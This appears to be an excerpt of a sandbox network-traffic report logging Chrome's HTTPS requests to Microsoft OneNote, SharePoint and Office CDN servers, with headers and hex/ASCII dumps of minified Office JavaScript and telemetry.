Data Ascii: {"d":{"a":"OneNote","b":"en-US","c":"Edit","d":"EDIT","e":"16.0.17903.41012","f":"Chrome","g":"en-US","h":"117","i":"117.0.0","j":"16.0.17903.41012","k":"GEU3","l":"de-DE","m":"\"7cql6E0gMZnFbsgMneb8wpvxk2kbss4FlR9Dqt79m9s=\"","n":"SharePoint Online","o":
2024-07-16 11:07:42 UTC	6622	OUT	Data Raw: 3a 32 36 39 35 2e 33 39 39 39 39 39 39 39 39 39 39 34 2c 5c 22 72 65 73 70 6f 6e 73 65 45 6e 64 5c 22 3a 32 39 36 38 2e 38 39 39 39 39 39 39 39 39 39 39 34 2c 5c 22 66 65 74 63 68 53 74 61 72 74 5c 22 3a 31 36 30 36 2e 33 39 39 39 39 39 39 39 39 39 39 34 32 2c 5c 22 77 6f 72 6b 65 72 53 74 61 72 74 5c 22 3a 30 2c 5c 22 64 75 72 61 74 69 6f 6e 5c 22 3a 31 33 36 32 2e 35 2c 5c 22 64 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 31 34 32 38 36 34 2c 5c 22 65 6e 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 31 34 32 38 36 34 2c 5c 22 74 72 61 6e 73 66 65 72 53 69 7a 65 5c 22 3a 31 34 33 31 36 34 2c 5c 22 65 6e 74 72 79 54 79 70 65 5c 22 3a 5c 22 72 65 73 6f 75 72 63 65 5c 22 2c 5c 22 69 6e 69 74 69 61 74 6f 72 54 79 70 65 5c 22 3a 5c 22 6c 69 6e 6b 5c Data Ascii: :2695.399999999994,\"responseEnd\":2968.899999999994,\"fetchStart\":1606.3999999999942,\"workerStart\":0,\"duration\":1362.5,\"decodedBodySize\":142864,\"encodedBodySize\":142864,\"transferSize\":143164,\"entryType\":\"resource\",\"initiatorType\":\"link\
2024-07-16 11:07:42 UTC	1072	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 4259a418-3b41-4ae4-91b1-1deeb3259174 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017824 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017824 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 50AB0138D9FD4FF7AA21687A0FD95A36 Ref B: EWR311000103027 Ref C: 2024-07-16T11:07:42Z Date: Tue, 16 Jul 2024 11:07:42 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50077	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:43 UTC	677	OUT	GET /o/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&build=16.0.17903.41012&waccluster=GEU3 HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:43 UTC	1045	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 64fd6cf9-4251-4847-8619-17b4486a625d X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017833 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017833 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 3D2C452B600841A0AB14570FF963B256 Ref B: BL2AA2030102049 Ref C: 2024-07-16T11:07:43Z Date: Tue, 16 Jul 2024 11:07:43 GMT Connection: close
2024-07-16 11:07:43 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-07-16 11:07:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50078	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:44 UTC	675	OUT	GET /wise/owl/owl.slim.6a7c2b86e1c3aace8110.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://amdat-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:44 UTC	1188	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 52982 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Tue, 16 Jul 2024 11:07:44 GMT Last-Modified: Mon, 15 Jul 2024 20:17:51 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=700651115433313635414186491801464484321"}],"include_subdomains ":true} Server: ECAcc (lhc/7892) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: 0e95236c-f01e-0050-37f5-d6aa50000000 Content-Length: 168365 Connection: close
2024-07-16 11:07:44 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 2c 65 2c 6e 2c 6f 2c 69 3d 7b 31 38 39 37 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6e 2e 64 28 65 2c 7b 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 32 30 39 34 37 29 2c 69 3d 6e 28 34 36 30 34 39 29 2c 72 3d 6e 28 33 38 39 38 30 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 65 3d 6e 75 6c 6c 21 3d 3d 74 26 26 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 65 2e 76 61 6c 75 65 3d 6e 75 6c 6c 2c 65 2e 68 61 73 4e 65 78 74 3d 21 31 2c 65 2e 68 61 Data Ascii: var Microsoft;!function(){"use strict";var t,e,n,o,i={18973:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(20947),i=n(46049),r=n(38980),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.ha
2024-07-16 11:07:44 UTC	16383	IN	Data Raw: 61 74 69 6f 6e 2e 6e 65 78 74 28 74 29 2c 6e 3d 3d 3d 65 26 26 28 74 68 69 73 2e 64 65 73 74 69 6e 61 74 69 6f 6e 2e 63 6f 6d 70 6c 65 74 65 28 29 2c 74 68 69 73 2e 75 6e 73 75 62 73 63 72 69 62 65 28 29 29 29 7d 2c 65 7d 28 69 2e 76 29 7d 2c 37 35 35 35 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6e 2e 64 28 65 2c 7b 56 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 35 33 36 37 32 29 2c 69 3d 6e 28 33 38 39 38 30 29 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6f 2e 63 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 6f 3d 6e 65 77 20 69 2e 79 2c 72 3d 30 3b 72 65 74 75 72 6e 20 6f 2e 61 64 64 28 65 2e 73 63 68 65 64 75 6c 65 28 28 66 75 6e 63 74 69 6f Data Ascii: ation.next(t),n===e&&(this.destination.complete(),this.unsubscribe()))},e}(i.v)},75555:function(t,e,n){n.d(e,{V:function(){return r}});var o=n(53672),i=n(38980);function r(t,e){return new o.c((function(n){var o=new i.y,r=0;return o.add(e.schedule((functio
2024-07-16 11:07:44 UTC	16383	IN	Data Raw: 65 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 69 66 28 21 74 29 72 65 74 75 72 6e 22 22 3b 63 6f 6e 73 74 20 65 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 28 74 29 2c 6e 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 28 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 3b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 2c 5b 2e 2e 2e 65 2c 2e 2e 2e 6e 5d 29 7d 6e 2e 64 28 65 2c 7b 4d 35 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 7d 2c 38 37 34 33 32 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 63 6f 6e 73 74 20 65 3d 74 2e 6d 61 74 63 68 28 2f 5e 68 74 74 Data Ascii: e,n){function o(t){if(!t)return"";const e=Object.getOwnPropertyNames(t),n=Object.getOwnPropertyNames(Object.getPrototypeOf(t));return JSON.stringify(t,[...e,...n])}n.d(e,{M5:function(){return o}})},87432:function(t,e,n){function o(t){const e=t.match(/^htt
2024-07-16 11:07:44 UTC	16383	IN	Data Raw: 3b 74 68 69 73 2e 49 6e 26 26 2d 31 21 3d 3d 74 68 69 73 2e 6d 6e 7c 7c 28 74 68 69 73 2e 6d 6e 3d 28 74 68 69 73 2e 6d 6e 2b 31 29 25 31 65 33 29 2c 74 68 69 73 2e 49 6e 7c 7c 28 74 68 69 73 2e 48 6e 2b 3d 31 29 3b 63 6f 6e 73 74 20 74 3d 7b 70 3a 74 68 69 73 2e 49 6e 3f 28 30 2c 75 2e 56 59 29 28 74 68 69 73 2e 49 6e 2e 70 2c 74 68 69 73 2e 56 65 29 3a 74 68 69 73 2e 56 65 2c 6b 3a 74 68 69 73 2e 49 6e 3f 28 30 2c 75 2e 56 59 29 28 74 68 69 73 2e 49 6e 2e 6b 2c 74 68 69 73 2e 53 6e 29 3a 74 68 69 73 2e 53 6e 2c 69 3a 74 68 69 73 2e 77 65 2e 62 65 2c 6f 3a 74 68 69 73 2e 6d 6e 7d 3b 74 68 69 73 2e 49 6e 3d 74 7d 2c 74 68 69 73 2e 5a 65 3d 28 74 2c 65 2c 6e 2c 69 2c 72 2c 73 2c 61 2c 63 2c 66 2c 6c 29 3d 3e 7b 69 66 28 21 74 7c 7c 65 26 26 21 74 68 69 73 Data Ascii: ;this.In&&-1!==this.mn\|\|(this.mn=(this.mn+1)%1e3),this.In\|\|(this.Hn+=1);const t={p:this.In?(0,u.VY)(this.In.p,this.Ve):this.Ve,k:this.In?(0,u.VY)(this.In.k,this.Sn):this.Sn,i:this.we.be,o:this.mn};this.In=t},this.Ze=(t,e,n,i,r,s,a,c,f,l)=>{if(!t\|\|e&&!this
2024-07-16 11:07:44 UTC	16383	IN	Data Raw: 65 6e 64 69 6e 67 20 66 61 69 6c 65 64 22 7d 3b 79 26 26 42 3f 2e 72 65 63 6f 72 64 4b 70 69 46 61 69 6c 75 72 65 28 63 2e 65 78 2e 58 6f 2c 74 2e 65 72 72 6f 72 4d 65 73 73 61 67 65 2c 21 31 2c 21 31 2c 7b 65 78 74 65 6e 64 65 64 50 72 6f 70 65 72 74 69 65 73 3a 6e 65 77 20 4d 61 70 28 5b 5b 22 73 63 65 6e 61 72 69 6f 22 2c 22 70 6f 73 74 57 61 63 54 6f 6b 65 6e 42 65 66 6f 72 65 42 6f 6f 74 4a 73 61 70 69 56 31 22 5d 2c 5b 22 73 74 61 74 75 73 22 2c 22 66 61 69 6c 65 64 22 5d 5d 29 7d 29 3b 63 6f 6e 73 74 20 65 3d 28 30 2c 6d 2e 43 29 28 74 29 2c 6e 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 41 72 72 61 79 2e 66 72 6f 6d 28 65 2e 65 6e 74 72 69 65 73 28 29 29 29 3b 73 2e 65 72 72 6f 72 28 74 29 2c 6a 3f 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 Data Ascii: ending failed"};y&&B?.recordKpiFailure(c.ex.Xo,t.errorMessage,!1,!1,{extendedProperties:new Map([["scenario","postWacTokenBeforeBootJsapiV1"],["status","failed"]])});const e=(0,m.C)(t),n=JSON.stringify(Array.from(e.entries()));s.error(t),j?.ULS.sendTraceT
2024-07-16 11:07:44 UTC	5	IN	Data Raw: 63 3d 7b 73 74 Data Ascii: c={st
2024-07-16 11:07:44 UTC	16383	IN	Data Raw: 61 72 74 54 69 6d 65 3a 30 2c 65 6e 64 54 69 6d 65 3a 30 7d 2c 6c 2c 64 2c 68 29 7b 63 6f 6e 73 74 20 70 3d 63 2e 73 74 61 72 74 54 69 6d 65 7c 7c 30 2c 6d 3d 63 2e 65 6e 64 54 69 6d 65 7c 7c 30 2c 77 3d 28 30 2c 6f 2e 75 5f 29 28 29 3b 28 30 2c 6f 2e 6c 38 29 28 22 6f 66 66 69 63 65 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 54 69 6d 65 22 29 3b 63 6f 6e 73 74 20 67 3d 6c 3f 2e 6c 6f 67 67 65 72 2c 62 3d 6c 3f 2e 62 6f 6f 74 44 69 61 67 6e 6f 73 74 69 63 73 7c 7c 7b 7d 2c 53 3d 62 2e 74 61 62 73 43 61 63 68 65 48 69 74 2c 76 3d 62 2e 70 61 63 6b 61 67 65 45 6e 74 72 79 54 69 6d 65 2c 48 3d 62 2e 69 73 54 65 73 74 4d 6f 64 65 2c 43 3d 62 2e 72 69 6e 67 49 64 3b 6c 65 74 20 49 2c 41 3b 74 26 26 28 49 3d 77 2d 74 29 2c 76 26 26 28 41 3d 77 2d 76 29 3b 63 6f Data Ascii: artTime:0,endTime:0},l,d,h){const p=c.startTime\|\|0,m=c.endTime\|\|0,w=(0,o.u_)();(0,o.l8)("officeInitializationTime");const g=l?.logger,b=l?.bootDiagnostics\|\|{},S=b.tabsCacheHit,v=b.packageEntryTime,H=b.isTestMode,C=b.ringId;let I,A;t&&(I=w-t),v&&(A=w-v);co
2024-07-16 11:07:44 UTC	16383	IN	Data Raw: 6e 66 6f 3a 74 2e 73 68 61 72 65 50 6f 69 6e 74 49 6e 66 6f 2c 73 68 61 72 65 41 70 69 45 6e 64 50 6f 69 6e 74 42 61 73 65 3a 5a 74 2c 66 65 74 63 68 41 63 63 65 73 73 54 6f 6b 65 6e 3a 77 74 2c 6f 70 65 6e 53 68 61 72 65 43 6f 6e 74 72 6f 6c 3a 4e 74 2c 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 3a 75 65 2c 69 73 4d 73 61 3a 4a 74 2c 74 65 6e 61 6e 74 49 64 3a 7a 74 2c 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 4e 61 6d 65 3a 51 74 2c 6f 6e 4f 70 65 6e 3a 28 29 3d 3e 7b 28 30 2c 43 2e 51 29 28 7a 2e 50 68 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 42 6c 75 72 46 6f 63 75 73 2c 76 6f 69 64 20 30 2c 64 65 2c 70 65 2c 58 74 29 7d 2c 6f 6e 43 6c 6f 73 65 3a 28 29 3d 3e 7b 28 30 2c 43 2e 51 29 28 7a 2e 50 68 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 47 72 61 62 46 6f 63 75 73 Data Ascii: nfo:t.sharePointInfo,shareApiEndPointBase:Zt,fetchAccessToken:wt,openShareControl:Nt,correlationId:ue,isMsa:Jt,tenantId:zt,organizationName:Qt,onOpen:()=>{(0,C.Q)(z.Ph.PostMessage_BlurFocus,void 0,de,pe,Xt)},onClose:()=>{(0,C.Q)(z.Ph.PostMessage_GrabFocus
2024-07-16 11:07:44 UTC	16383	IN	Data Raw: 73 73 61 67 65 5f 45 64 69 74 4d 6f 64 65 53 77 69 74 63 68 3d 22 55 49 5f 45 64 69 74 22 2c 74 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 46 69 6c 65 56 65 72 73 69 6f 6e 3d 22 55 49 5f 46 69 6c 65 56 65 72 73 69 6f 6e 73 22 2c 74 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 53 61 76 65 53 74 61 74 75 73 3d 22 55 49 5f 53 61 76 65 53 74 61 74 75 73 22 2c 74 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 53 68 61 72 65 3d 22 55 49 5f 53 68 61 72 69 6e 67 22 2c 74 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 57 6f 72 6b 66 6c 6f 77 3d 22 55 49 5f 57 6f 72 6b 66 6c 6f 77 22 2c 74 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 55 73 65 72 41 63 74 69 76 69 74 79 3d 22 55 73 65 72 5f 41 63 74 69 76 69 74 79 22 2c 74 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 45 64 69 74 4e 6f 74 69 66 69 63 61 Data Ascii: ssage_EditModeSwitch="UI_Edit",t.PostMessage_FileVersion="UI_FileVersions",t.PostMessage_SaveStatus="UI_SaveStatus",t.PostMessage_Share="UI_Sharing",t.PostMessage_Workflow="UI_Workflow",t.PostMessage_UserActivity="User_Activity",t.PostMessage_EditNotifica
2024-07-16 11:07:44 UTC	16383	IN	Data Raw: 2e 70 61 72 65 6e 74 4e 6f 64 65 3f 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 66 29 2c 6e 28 29 7d 29 2c 72 26 26 28 66 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 29 2c 75 26 26 61 26 26 21 63 26 26 28 66 2e 69 6e 74 65 67 72 69 74 79 3d 61 29 2c 6f 29 7b 63 6f 6e 73 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 69 66 28 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 29 72 65 74 75 72 6e 20 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 66 2c 74 29 7d 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 66 29 7d 6e 2e 64 28 65 2c 7b 62 3a 66 75 6e 63 74 69 6f 6e Data Ascii: .parentNode?.removeChild(f),n()}),r&&(f.crossOrigin="anonymous"),u&&a&&!c&&(f.integrity=a),o){const t=document.getElementsByTagName("script")[0];if(t&&t.parentNode)return t.parentNode.insertBefore(f,t)}return document.body.appendChild(f)}n.d(e,{b:function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50079	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:45 UTC	679	OUT	GET /wise/owl/onenote-boot.2d5ef69c51dd1ec215a9.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://amdat-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:46 UTC	1188	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 52908 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Tue, 16 Jul 2024 11:07:45 GMT Last-Modified: Mon, 15 Jul 2024 20:17:49 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=139345082323000151018381306306660117097"}],"include_subdomains ":true} Server: ECAcc (lhc/7946) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: 278ab3f5-b01e-006e-3ef5-d63d2f000000 Content-Length: 142864 Connection: close
2024-07-16 11:07:46 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4d 69 63 72 6f 73 6f 66 74 3f 4d 69 63 72 6f 73 6f 66 74 3a 7b 7d 3b 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 7c 7c 7b 7d 2c 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 73 29 7b 69 66 28 65 5b 73 5d 29 72 65 74 75 72 6e 20 65 5b 73 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 65 5b 73 5d 3d 7b 69 3a 73 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 73 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 69 29 2c Data Ascii: var Microsoft="object"==typeof Microsoft?Microsoft:{};Microsoft.Office=Microsoft.Office\|\|{},Microsoft.Office.OneNote=function(t){var e={};function i(s){if(e[s])return e[s].exports;var o=e[s]={i:s,l:!1,exports:{}};return t[s].call(o.exports,o,o.exports,i),
2024-07-16 11:07:46 UTC	1	IN	Data Raw: 43 Data Ascii: C
2024-07-16 11:07:46 UTC	16383	IN	Data Raw: 6f 6d 70 6c 65 74 65 3d 22 75 70 64 61 74 65 42 6f 6f 74 43 6f 6d 70 6c 65 74 65 22 2c 74 2e 73 65 74 57 61 63 46 6c 69 67 68 74 56 61 6c 75 65 3d 22 73 65 74 57 61 63 46 6c 69 67 68 74 56 61 6c 75 65 22 7d 28 78 7c 7c 28 78 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 62 6c 75 72 46 6f 63 75 73 3d 22 62 6c 75 72 46 6f 63 75 73 22 2c 74 2e 62 6f 6f 74 3d 22 62 6f 6f 74 22 2c 74 2e 63 6f 6d 70 6c 65 74 65 43 72 65 61 74 65 4e 65 77 3d 22 63 6f 6d 70 6c 65 74 65 43 72 65 61 74 65 4e 65 77 22 2c 74 2e 63 6f 6e 74 69 6e 75 65 41 63 63 65 73 73 69 62 69 6c 69 74 79 4c 6f 6f 70 3d 22 63 6f 6e 74 69 6e 75 65 41 63 63 65 73 73 69 62 69 6c 69 74 79 4c 6f 6f 70 22 2c 74 2e 63 72 65 61 74 65 4e 65 77 3d 22 63 72 65 61 74 65 4e 65 77 22 2c 74 2e 64 69 Data Ascii: omplete="updateBootComplete",t.setWacFlightValue="setWacFlightValue"}(x\|\|(x={})),function(t){t.blurFocus="blurFocus",t.boot="boot",t.completeCreateNew="completeCreateNew",t.continueAccessibilityLoop="continueAccessibilityLoop",t.createNew="createNew",t.di
2024-07-16 11:07:46 UTC	16383	IN	Data Raw: 2f 2f 76 69 73 69 6f 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 2f 76 61 2f 30 30 36 39 35 65 64 32 2d 33 32 30 32 2d 34 31 35 36 2d 38 64 61 31 2d 36 39 66 36 30 30 36 35 65 32 35 35 22 2c 22 33 39 34 38 36 36 66 63 2d 65 65 64 62 2d 34 66 30 31 2d 38 35 33 36 2d 33 66 66 38 34 62 31 36 62 65 32 61 22 2c 22 68 74 74 70 73 3a 2f 2f 6f 66 66 69 63 65 73 63 72 69 70 74 69 6e 67 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 6f 66 66 69 63 65 73 63 72 69 70 74 69 6e 67 2d 69 6e 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 6e 6c 65 64 69 74 6f 72 2e 6f 73 69 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 6e 6c 65 64 69 74 6f 72 22 2c 22 65 30 33 61 31 33 65 65 2d 39 37 33 30 2d 34 63 61 65 2d Data Ascii: //visio.officeapps.live.com/va/00695ed2-3202-4156-8da1-69f60065e255","394866fc-eedb-4f01-8536-3ff84b16be2a","https://officescripting.microsoft.com","https://officescripting-int.microsoft.com","https://nleditor.osi.office.net/nleditor","e03a13ee-9730-4cae-
2024-07-16 11:07:46 UTC	2	IN	Data Raw: 6f 6e Data Ascii: on
